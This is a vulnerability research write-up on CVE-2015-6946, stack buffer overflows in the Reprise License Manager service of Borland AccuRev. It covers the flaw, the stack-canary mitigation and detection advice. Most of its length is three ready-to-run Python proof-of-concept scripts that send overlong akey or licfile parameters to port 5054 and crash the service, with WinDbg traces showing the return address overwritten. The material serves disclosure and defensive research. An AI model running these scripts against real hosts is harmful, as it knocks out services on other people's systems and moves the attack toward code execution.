CVE to PoC - CVE-2015-6946

CVE-2015-6946

Software: Borland AccuRev

“Multiple stack-based buffer overflows in the Reprise License Manager service in Borland AccuRev allow remote attackers to execute arbitrary code via the (1) akey or (2) actserver parameter to the the activate_doit function or (3) licfile parameter to the service_startup_doit functionality.”

The Product

“AccuRev is a software configuration management tool which addresses complex parallel and distributed development environments with its stream-based architecture, to accelerate your development process and improve asset reuse.”

The Borland AccuRev suite is adopted by well-known companies such as Bet365, SanDisk, McAfee and more. It is present on the market since 2002 and well positioned against other famous SCM products.
Installation guideline documents recommend the product to be installed following a client-server architecture. Both components (server and client) are compatible with multiple operating systems including Windows, Linux, Solaris and Mac OSX (client only) and is distributed in 32 and 64 bit versions.
Software is likely to be deployed on the internal network, not reachable from the Internet.
The affected versions of the product are up to version 6.2.2 (to be confirmed).

The following document describes a scenario in which the software is installed on a Windows Server 2008 R2 64bit machine with the Windows Firewall configured to allow traffic on TCP port 5054.

The Vulnerability

The CVE described 3 different vulnerabilities in the RLM service installed by the Borland AccuRev suite, specifying affected parameters and functions name.
More information can be found here:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6946
http://www.zerodayinitiative.com/advisories/ZDI-15-412
http://www.zerodayinitiative.com/advisories/ZDI-15-414
http://www.zerodayinitiative.com/advisories/ZDI-15-416

The binary is called rlm.exe and is located inside the AccuRev installation folder.
The service is running under SYSTEM privileges thus successful exploitation may lead to a complete compromise of the target machine.

The binary was compiled without DEP/NX and PIE flags.

Doing a simple search for the “akey” string (one of the parameter mentioned by the CVE description) on the binary revealed that this parameter is used in a webpage and probably the way to trigger the vulnerability is through HTTP requests.

The service is listening on port 5054, the resulting webpage is pretty simple and ‘simulates’ a login webpage where you need to enter username and password to be able to access the restricted area. Actually there are no restrictions in place (‘protected’ webpage can be accessed by browsing them directly). For the sake of completeness default credentials are admin:admin.


The interesting pages are:

  • Activate License, that sends data to “/goform/activate_doit”; and

  • Manage Windows Service, that interacts with “/goform/service_setup_doit” (this functionality is NOT available in Linux)

Since the vulnerabilities can be triggered in the exact same way, and the logics behind are almost the same, this document will describe how the “akey” parameter in the “activate_doit” functionality can be used to overflow its buffer and alter the return value of the corresponding stack frame.

A custom Python fuzzer was used to identify the length of the payload needed to overflow the “akey” buffer. A string with 1000 bytes seems to be enough to trigger the overflow.

The source of this vulnerability was found to be in the subroutine located at memory address 0046D480 (called by another subroutine at 0046D600), which performs an “sprintf” call to construct a particular string (html input element) with the data inserted by the user and save the result on the stack.

As demonstrated by the following screenshots, this function is used more than once to reconstruct multiple hidden “input” HTML elements using all the values sent through the POST request “/goform/activate_doit”.
The R8 register contains the key (parameter name), while R9 the value from the user. RDX is used as the “format” value of the sprintf function.


When the akey parameter is processed, the value is copied into the stack, overflows the buffer and partially overwrite the return address of the stack frame. The partial overwrite is due to 2 characters appended to the user input (“>), which are the terminators of the input HTML element saved on the stack by the sprintf function.


!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at rlm+0x000000000016a44d (Hash=0x53e180a9.0xb2d1267c)

An overrun of a protected stack buffer has been detected.

A stack canary is protecting the software from being exploited using return address overwrites.

Some techniques to bypass this protection mechanism include:

  • Stack canary value information leakage (rare, and exploitable only in particular situations)

  • Stack canary value guessing (since these values are no more static the only way would be to brute-force them, which in this case is not possible since the software crashes and require manual restart each time)

  • SEH pointers overwrite, which is currently exploitable only on 32bit systems due to architectural differences between the two platforms.
    The server component of AccuRev is compatible only on 64bit systems thus making the vulnerability hard to turn into a remote code execution. However, further analysis of the binary might reveal other conditions that can help the attacker bypassing the mitigations in place and obtain full control of the target host.

AccuRev on Linux Systems

Different situation instead for an installation on Linux servers (32 or 64bits) where stack canaries are not present and the attacker can control part of the return address. The partial overwrite is due to 2 characters appended to the user input (“>), which are the terminators of the input HTML element saved on the stack by the sprintf function.

Detection and Mitigations Guidance

The attack is carried over HTTP protocol. Malicious requests can be detected by analyzing the HTTP requests to the RLM service and identify parameters name corresponding to the one described in the CVE (“akey”, “actserver” and “licfile”). The length of the value of these parameters should be verified and the request dropped if above what is considered a normal threshold (e.g. 256 bytes should be enough for all these parameters).

An additional mitigation would be to allow only printable on the values of “actserver” and “licfile” parameters.

Summary

  • A total of 3 different stack based buffer overflow vulnerabilities affect the RLM service installed by default by the Borland AccuRev server software.
  • All the vulnerabilities can be triggered remotely by an attacker that has access to TCP port 5054 (with default settings) on the target server.
  • Successful exploitation may lead to denial of service conditions or possibly remote code execution.
  • Exploitation is mitigated by the “/GS” buffer security checks (aka stack cookies/canaries).
  • The vulnerability in “licfile” cannot be triggered in Linux system since the “goform/service_setup_doit” is not available.

Python scripts

Below 3 different PoC python scripts that can be used to replicate the issue:

activate_doit.py

import urllib
import httplib
import sys


WELCOME = '''
------------------------------------------------------------------
Borland AccuRev RLM Service stack-based buffer overflow (PoC)

Multiple stack-based buffer overflows in the Reprise License Manager service 
in Borland AccuRev allow remote attackers to execute arbitrary code via the 
(1) akey or (2) actserver parameter to the the activate_doit function or 
(3) licfile parameter to the service_startup_doit functionality.

akey will be used in this PoC
Use payload length of 1000 for Windows systems, 984 for Linux

CVE-2015-6946
------------------------------------------------------------------
'''

HELP = '''Usage: python {0} target payload-length
Example: python {0} 192.168.0.100 1000
'''.format(sys.argv[0])


print WELCOME

if (len(sys.argv) < 3):
 print HELP
 exit(-1)

target = sys.argv[1]
length = int(sys.argv[2])

p = {
	'actserver'	: 'www.reprisesoftware.com', 	# this parameter is also vulnerable
												# same length as akey for the payload
	'isv' 		: 'reprise',
	'akey'		: 'A'* length,
	'hostid'	: 'hostid',
	'count'		: '1',
	'lf' 		: 'C:\Windows\junk',
	'ok' 		: 'REQUEST+LICENSE'
	}
# All the parameters from the original POST request

try:
 print "[*] Trying to connect to %s" % target
 http_con = httplib.HTTPConnection(target + ":5054")
 http_con.request("GET", "/goform/activate_doit", urllib.urlencode(p))
except:
 print "[-] Connection failed"
 exit(-1)
 
print "[+] Request sent"

'''
Windows:
970 bytes will overwrite cookie and triggers the stack protection mechanism
1000 bytes will partially overwrite the return address
1004 bytes will completely overwrite the return address but the flow of the program
     will cause a read access error to an invalid memory address (another function  is
     called just after the sprintf when the payload is over 1000 bytes)


0:007> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4ce8  61 63 74 73 65 72 76 65-72 00 00 00 69 73 76 00  actserver...isv.
00000000`005c4cf8  61 6b 65 79 00 00 00 00-68 6f 73 74 69 64 00 00  akey....hostid..
00000000`005c4d08  63 6f 75 6e 74 00 00 00-6c 66 00 00 00 00 00 00  count...lf......
00000000`005c4d18  3c 62 72 3e 3c 62 72 3e-3c 62 72 3e 3c 74 61 62  <br><br><br><tab
00000000`005c4d28  6c 65 3e 3c 74 72 20 61-6c 69 67 6e 3d 63 65 6e  le><tr align=cen
00000000`005c4d38  74 65 72 3e 00 00 00 00-3c 74 64 3e 3c 69 6e 70  ter>....<td><inp
00000000`005c4d48  75 74 20 63 6c 61 73 73-3d 62 75 74 74 6f 6e 20  ut class=button 
00000000`005c4d58  74 79 70 65 3d 73 75 62-6d 69 74 20 6e 61 6d 65  type=submit name
0:005> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4cf4  69 73 76 00 61 6b 65 79-00 00 00 00 68 6f 73 74  isv.akey....host
00000000`005c4d04  69 64 00 00 63 6f 75 6e-74 00 00 00 6c 66 00 00  id..count...lf..
00000000`005c4d14  00 00 00 00 3c 62 72 3e-3c 62 72 3e 3c 62 72 3e  ....<br><br><br>
00000000`005c4d24  3c 74 61 62 6c 65 3e 3c-74 72 20 61 6c 69 67 6e  <table><tr align
00000000`005c4d34  3d 63 65 6e 74 65 72 3e-00 00 00 00 3c 74 64 3e  =center>....<td>
00000000`005c4d44  3c 69 6e 70 75 74 20 63-6c 61 73 73 3d 62 75 74  <input class=but
00000000`005c4d54  74 6f 6e 20 74 79 70 65-3d 73 75 62 6d 69 74 20  ton type=submit 
00000000`005c4d64  6e 61 6d 65 3d 6f 6b 20-76 61 6c 75 65 3d 22 25  name=ok value="%
0:005> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4cf8  61 6b 65 79 00 00 00 00-68 6f 73 74 69 64 00 00  akey....hostid..
00000000`005c4d08  63 6f 75 6e 74 00 00 00-6c 66 00 00 00 00 00 00  count...lf......
00000000`005c4d18  3c 62 72 3e 3c 62 72 3e-3c 62 72 3e 3c 74 61 62  <br><br><br><tab
00000000`005c4d28  6c 65 3e 3c 74 72 20 61-6c 69 67 6e 3d 63 65 6e  le><tr align=cen
00000000`005c4d38  74 65 72 3e 00 00 00 00-3c 74 64 3e 3c 69 6e 70  ter>....<td><inp
00000000`005c4d48  75 74 20 63 6c 61 73 73-3d 62 75 74 74 6f 6e 20  ut class=button 
00000000`005c4d58  74 79 70 65 3d 73 75 62-6d 69 74 20 6e 61 6d 65  type=submit name
00000000`005c4d68  3d 6f 6b 20 76 61 6c 75-65 3d 22 25 73 22 3e 3c  =ok value="%s"><
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199c120 00000000`0042a26e rlm+0x6d63d
00000000`0199c560 00000000`0042a120 rlm+0x2a26e
00000000`0199c590 00000000`0042d214 rlm+0x2a120
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> p
rlm+0x6d642:
00000000`0046d642 488d542430      lea     rdx,[rsp+30h]
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199c120 41414141`41414141 rlm+0x6d642
00000000`0199c560 00000000`00003e22 0x41414141`41414141
00000000`0199c568 00000000`005c4cf8 0x3e22
00000000`0199c570 00000000`00b6eea0 rlm+0x1c4cf8
00000000`0199c578 00000000`0056fd8c 0xb6eea0
00000000`0199c580 00000000`0042d214 rlm+0x16fd8c
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> g
(42c.bb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
rlm+0xcd632:
00000000`004cd632 8b8820010000    mov     ecx,dword ptr [rax+120h] ds:00000000`00003f42=????????
0:005> g

STATUS_STACK_BUFFER_OVERRUN encountered
(42c.bb8): Break instruction exception - code 80000003 (first chance)
kernel32!UnhandledExceptionFilter+0x71:
00000000`76c593a1 cc              int     3
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199b0d0 00000000`00578c8b kernel32!UnhandledExceptionFilter+0x71
00000000`0199b1b0 00000000`0056a44d rlm+0x178c8b
00000000`0199b240 00000000`76d09d0d rlm+0x16a44d
00000000`0199b270 00000000`76cf91af ntdll!RtlpExecuteHandlerForException+0xd
00000000`0199b2a0 00000000`76d31278 ntdll!RtlDispatchException+0x45a
00000000`0199b980 00000000`004cd632 ntdll!KiUserExceptionDispatcher+0x2e
00000000`0199c080 00000000`004cd5b2 rlm+0xcd632
00000000`0199c0d0 00000000`0046d654 rlm+0xcd5b2
00000000`0199c120 41414141`41414141 rlm+0x6d654
00000000`0199c560 00000000`00003e22 0x41414141`41414141
00000000`0199c568 00000000`005c4cf8 0x3e22
00000000`0199c570 00000000`00b6eea0 rlm+0x1c4cf8
00000000`0199c578 00000000`0056fd8c 0xb6eea0
00000000`0199c580 00000000`0042d214 rlm+0x16fd8c
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> !exploitable

!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at rlm+0x000000000016a44d (Hash=0x53e180a9.0xb2d1267c)

An overrun of a protected stack buffer has been detected. This is considered exploitable, and must be fixed.
'''

activate_doit_get.py

import urllib
import httplib
import sys


WELCOME = '''
------------------------------------------------------------------
Borland AccuRev RLM Service stack-based buffer overflow (PoC)

Multiple stack-based buffer overflows in the Reprise License Manager service 
in Borland AccuRev allow remote attackers to execute arbitrary code via the 
(1) akey or (2) actserver parameter to the the activate_doit function or 
(3) licfile parameter to the service_startup_doit functionality.

akey will be used in this PoC
Use payload length of 1000 for Windows systems, 984 for Linux

CVE-2015-6946
------------------------------------------------------------------
'''

HELP = '''Usage: python {0} target payload-length
Example: python {0} 192.168.0.100 1000
'''.format(sys.argv[0])


print WELCOME

if (len(sys.argv) < 3):
 print HELP
 exit(-1)

target = sys.argv[1]
length = int(sys.argv[2])

p = {
	'actserver'	: 'www.reprisesoftware.com', 	# this parameter is also vulnerable
												# same length as akey for the payload
	'isv' 		: 'reprise',
	'akey'		: 'A'* length,
	'hostid'	: 'hostid',
	'count'		: '1',
	'lf' 		: 'C:\Windows\junk',
	'ok' 		: 'REQUEST+LICENSE'
	}
# All the parameters from the original POST request

try:
 print "[*] Trying to connect to %s" % target
 http_con = httplib.HTTPConnection(target + ":5054")
 http_con.request("GET", "/goform/activate_doit?%s" % urllib.urlencode(p))
except:
 print "[-] Connection failed"
 exit(-1)
 
print "[+] Request sent"

'''
Windows:
970 bytes will overwrite cookie and triggers the stack protection mechanism
1000 bytes will partially overwrite the return address
1004 bytes will completely overwrite the return address but the flow of the program
     will cause a read access error to an invalid memory address (another function  is
     called just after the sprintf when the payload is over 1000 bytes)


0:007> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4ce8  61 63 74 73 65 72 76 65-72 00 00 00 69 73 76 00  actserver...isv.
00000000`005c4cf8  61 6b 65 79 00 00 00 00-68 6f 73 74 69 64 00 00  akey....hostid..
00000000`005c4d08  63 6f 75 6e 74 00 00 00-6c 66 00 00 00 00 00 00  count...lf......
00000000`005c4d18  3c 62 72 3e 3c 62 72 3e-3c 62 72 3e 3c 74 61 62  <br><br><br><tab
00000000`005c4d28  6c 65 3e 3c 74 72 20 61-6c 69 67 6e 3d 63 65 6e  le><tr align=cen
00000000`005c4d38  74 65 72 3e 00 00 00 00-3c 74 64 3e 3c 69 6e 70  ter>....<td><inp
00000000`005c4d48  75 74 20 63 6c 61 73 73-3d 62 75 74 74 6f 6e 20  ut class=button 
00000000`005c4d58  74 79 70 65 3d 73 75 62-6d 69 74 20 6e 61 6d 65  type=submit name
0:005> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4cf4  69 73 76 00 61 6b 65 79-00 00 00 00 68 6f 73 74  isv.akey....host
00000000`005c4d04  69 64 00 00 63 6f 75 6e-74 00 00 00 6c 66 00 00  id..count...lf..
00000000`005c4d14  00 00 00 00 3c 62 72 3e-3c 62 72 3e 3c 62 72 3e  ....<br><br><br>
00000000`005c4d24  3c 74 61 62 6c 65 3e 3c-74 72 20 61 6c 69 67 6e  <table><tr align
00000000`005c4d34  3d 63 65 6e 74 65 72 3e-00 00 00 00 3c 74 64 3e  =center>....<td>
00000000`005c4d44  3c 69 6e 70 75 74 20 63-6c 61 73 73 3d 62 75 74  <input class=but
00000000`005c4d54  74 6f 6e 20 74 79 70 65-3d 73 75 62 6d 69 74 20  ton type=submit 
00000000`005c4d64  6e 61 6d 65 3d 6f 6b 20-76 61 6c 75 65 3d 22 25  name=ok value="%
0:005> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4cf8  61 6b 65 79 00 00 00 00-68 6f 73 74 69 64 00 00  akey....hostid..
00000000`005c4d08  63 6f 75 6e 74 00 00 00-6c 66 00 00 00 00 00 00  count...lf......
00000000`005c4d18  3c 62 72 3e 3c 62 72 3e-3c 62 72 3e 3c 74 61 62  <br><br><br><tab
00000000`005c4d28  6c 65 3e 3c 74 72 20 61-6c 69 67 6e 3d 63 65 6e  le><tr align=cen
00000000`005c4d38  74 65 72 3e 00 00 00 00-3c 74 64 3e 3c 69 6e 70  ter>....<td><inp
00000000`005c4d48  75 74 20 63 6c 61 73 73-3d 62 75 74 74 6f 6e 20  ut class=button 
00000000`005c4d58  74 79 70 65 3d 73 75 62-6d 69 74 20 6e 61 6d 65  type=submit name
00000000`005c4d68  3d 6f 6b 20 76 61 6c 75-65 3d 22 25 73 22 3e 3c  =ok value="%s"><
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199c120 00000000`0042a26e rlm+0x6d63d
00000000`0199c560 00000000`0042a120 rlm+0x2a26e
00000000`0199c590 00000000`0042d214 rlm+0x2a120
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> p
rlm+0x6d642:
00000000`0046d642 488d542430      lea     rdx,[rsp+30h]
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199c120 41414141`41414141 rlm+0x6d642
00000000`0199c560 00000000`00003e22 0x41414141`41414141
00000000`0199c568 00000000`005c4cf8 0x3e22
00000000`0199c570 00000000`00b6eea0 rlm+0x1c4cf8
00000000`0199c578 00000000`0056fd8c 0xb6eea0
00000000`0199c580 00000000`0042d214 rlm+0x16fd8c
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> g
(42c.bb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
rlm+0xcd632:
00000000`004cd632 8b8820010000    mov     ecx,dword ptr [rax+120h] ds:00000000`00003f42=????????
0:005> g

STATUS_STACK_BUFFER_OVERRUN encountered
(42c.bb8): Break instruction exception - code 80000003 (first chance)
kernel32!UnhandledExceptionFilter+0x71:
00000000`76c593a1 cc              int     3
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199b0d0 00000000`00578c8b kernel32!UnhandledExceptionFilter+0x71
00000000`0199b1b0 00000000`0056a44d rlm+0x178c8b
00000000`0199b240 00000000`76d09d0d rlm+0x16a44d
00000000`0199b270 00000000`76cf91af ntdll!RtlpExecuteHandlerForException+0xd
00000000`0199b2a0 00000000`76d31278 ntdll!RtlDispatchException+0x45a
00000000`0199b980 00000000`004cd632 ntdll!KiUserExceptionDispatcher+0x2e
00000000`0199c080 00000000`004cd5b2 rlm+0xcd632
00000000`0199c0d0 00000000`0046d654 rlm+0xcd5b2
00000000`0199c120 41414141`41414141 rlm+0x6d654
00000000`0199c560 00000000`00003e22 0x41414141`41414141
00000000`0199c568 00000000`005c4cf8 0x3e22
00000000`0199c570 00000000`00b6eea0 rlm+0x1c4cf8
00000000`0199c578 00000000`0056fd8c 0xb6eea0
00000000`0199c580 00000000`0042d214 rlm+0x16fd8c
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> !exploitable

!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at rlm+0x000000000016a44d (Hash=0x53e180a9.0xb2d1267c)

An overrun of a protected stack buffer has been detected. This is considered exploitable, and must be fixed.
'''

service_setup_doit.py


import urllib
import httplib
import sys


WELCOME = '''
------------------------------------------------------------------
Borland AccuRev RLM Service stack-based buffer overflow (PoC)

Multiple stack-based buffer overflows in the Reprise License Manager service 
in Borland AccuRev allow remote attackers to execute arbitrary code via the 
(1) akey or (2) actserver parameter to the the activate_doit function or 
(3) licfile parameter to the service_startup_doit functionality.

licfile will be used in this PoC (Windows system only)
Use payload length of 1020 to trigger the overflow

CVE-2015-6946
------------------------------------------------------------------
'''

HELP = '''Usage: python {0} target payload-length
Example: python {0} 192.168.0.100 1020
'''.format(sys.argv[0])


print WELCOME

if (len(sys.argv) < 3):
 print HELP
 exit(-1)

target = sys.argv[1]
length = int(sys.argv[2])

p = {
	'action'		:	'1',
	'servicename'	:	'rlm',
	'servicedesc'	:	'RLM+License+Server',
	'debuglog'		:	'rlm.log',
	'licfile'		:	'A'* length,
	'wsport'		:	'',
	'delay'			:	'0',
	'ok'			:	'Apply'
	}
# Parameters from the original POST request

try:
 print "[*] Trying to connect to %s" % target
 http_con = httplib.HTTPConnection(target + ":5054")
 http_con.request("POST", "/goform/service_setup_doit", urllib.urlencode(p))
except:
 print "[-] Connection failed"
 exit(-1)
 
print "[+] Request sent"